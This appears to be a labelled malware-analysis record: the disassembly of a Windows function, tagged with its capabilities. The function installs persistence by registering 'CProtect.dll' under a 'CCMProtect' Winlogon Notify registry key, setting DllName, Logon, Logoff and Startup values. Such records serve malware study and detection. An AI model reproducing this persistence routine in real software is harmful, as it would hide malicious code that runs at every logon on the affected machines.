Function at 0x402d80
Capabilities:
Get common file path
Persist via winlogon helper dll registry key
Set registry value

Disassembly:
sub esp, 0x378
push ebp
push esi
push edi
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x78]
rep stosd dword es:[edi], eax
push eax
lea eax, [esp + 0x7c]
push 0x25
push eax
push 0
mov dword [esp + 0x24], 0
mov dword [esp + 0x20], 0
call dword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
or ecx, 0xffffffff
mov edi, 0x42012c
xor eax, eax
lea edx, [esp + 0x78]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov ebp, ecx
mov esi, edi
or ecx, 0xffffffff
mov edi, edx
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x78]
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.CProtect.dll
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebp
lea edx, [esp + 0x280]
and ecx, 3
mov ebp, 1
rep movsb byte es:[edi], byte [esi]
lea edi, [esp + 0x78]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov dword [esp + 0x10], ebp
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x38]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
mov dword [esp + 0x14], ebp
rep movsb byte es:[edi], byte [esi]
mov edi, str.Logon
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
lea edx, [esp + 0x18]
rep movsb byte es:[edi], byte [esi]
mov edi, str.Logoff
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.CCMProtect
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [esp + 0x5c]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonNotify_s
rep movsb byte es:[edi], byte [esi]
mov edi, str.Startup
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x41
lea edi, [esp + 0x184]
rep stosd dword es:[edi], eax
lea ecx, [esp + 0x184]
push ecx
call fcn.0040a482
mov esi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0xc
lea edx, [esp + 0xc]
lea eax, [esp + 0x17c]
push edx
push 0xf003f
push 0
push eax
push closesocket
call esi
test eax, eax
je 0x402f31
lea ecx, [esp + 0xc]
push ecx
push 0xf003f
push 0
push str.SOFTWAREMicrosoftWindows_NTCurrentVersionWinlogonNotify
push closesocket
call esi
mov eax, dword [esp + 0xc]
lea edx, [esp + 0xc]
push edx
push str.CCMProtect
push eax
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edx, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea ecx, [esp + 0x10]
push 4
push ecx
push 4
push 0
push str.Impersonate
push edx
call esi
mov ecx, dword [esp + 0xc]
lea eax, [esp + 0x14]
push 4
push eax
push 4
push 0
push str.Asynchronous
push ecx
call esi
lea edi, [esp + 0x280]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x280]
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push ebp
push eax
mov eax, dword [esp + 0x1c]
push str.DllName
push eax
call esi
lea edi, [esp + 0x38]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0xc]
repne scasb al, byte es:[edi]
not ecx
push ecx
lea ecx, [esp + 0x3c]
push ecx
push ebp
push eax
push str.Logon
push edx
call esi
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
lea eax, [esp + 0x18]
push ecx
mov ecx, dword [esp + 0x10]
push eax
push ebp
push 0
push str.Logoff
push ecx
call esi
lea edi, [esp + 0x18]
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x58]
repne scasb al, byte es:[edi]
not ecx
push ecx
push edx
push ebp
push eax
mov eax, dword [esp + 0x1c]
push str.Startup
push eax
call esi
mov ecx, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ecx
call esi
push closesocket
call esi
pop edi
mov eax, ebp
pop esi
pop ebp
add esp, 0x378
ret